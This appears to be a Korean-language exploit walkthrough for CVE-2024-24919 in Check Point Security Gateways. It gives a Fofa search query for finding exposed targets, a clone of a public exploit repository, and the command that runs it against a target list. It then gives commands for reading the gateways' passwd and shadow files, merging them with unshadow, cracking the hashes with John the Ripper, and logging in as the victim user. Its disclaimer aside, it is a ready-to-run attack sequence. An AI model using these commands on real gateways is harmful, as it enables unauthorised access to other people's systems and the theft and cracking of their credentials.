
POC - CVE-2024–24919 - Check Point Security Gateways
인터넷에 연결되고 Remote Access VPN 또는 Mobile Access Software Blades가 활성화된 Check Point Security Gateway에서 공격자가 특정 정보를 읽을 수 있게 될 가능성이 있습니다. 이 취약점을 완화하는 보안 패치가 제공됩니다.
이 취약점에 대해 읽어보기 — CVE-2024-24919
고지 사항: 이 개념 증명(POC)은 교육 및 윤리적 테스트 목적으로만 제작되었습니다. 사전 상호 동의 없이 대상을 공격하는 데 이 도구를 사용하는 것은 불법입니다. 최종 사용자는 모든 해당 지역, 주, 연방 법률을 준수할 책임이 있습니다. 개발자는 이 프로그램으로 인해 발생하는 오용이나 손해에 대해 책임을 지지 않으며 어떠한 책임도 없습니다.
잠재적 대상을 찾으려면 Fofa(Shodan.io와 유사)를 사용하세요:
app="Check_Point-SSL-Network-Extender"
먼저 저장소를 클론합니다:
git clone https://github.com/verylazytech/CVE-2024-24919
다음으로 대상을 선택하고 다음 형식으로 list.txt 파일에 추가합니다:
익스플로잇 실행:
python3 CVE-2024-24919.py -l list.txt
이제 출력에는 두 가지 경우가 있습니다:
실패:

성공:

이제 passwd 및 shadow 파일을 모두 찾은 후 JohnTheRipper로 해시 크랙을 시도할 수 있습니다. 익스플로잇 실행 후 passwd와 shadow라는 두 개의 파일이 생성되므로, 이를 하나의 파일로 병합한 후 크랙을 시도할 수 있습니다(저는 rockyou.txt를 사용했지만 어떤 비밀번호 단어 목록이든 가능합니다):
unshadow passwd shadow > unshadowed.txt
john --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt

이제 해시를 크랙한 후 해당 사용자로 로그인할 수 있습니다!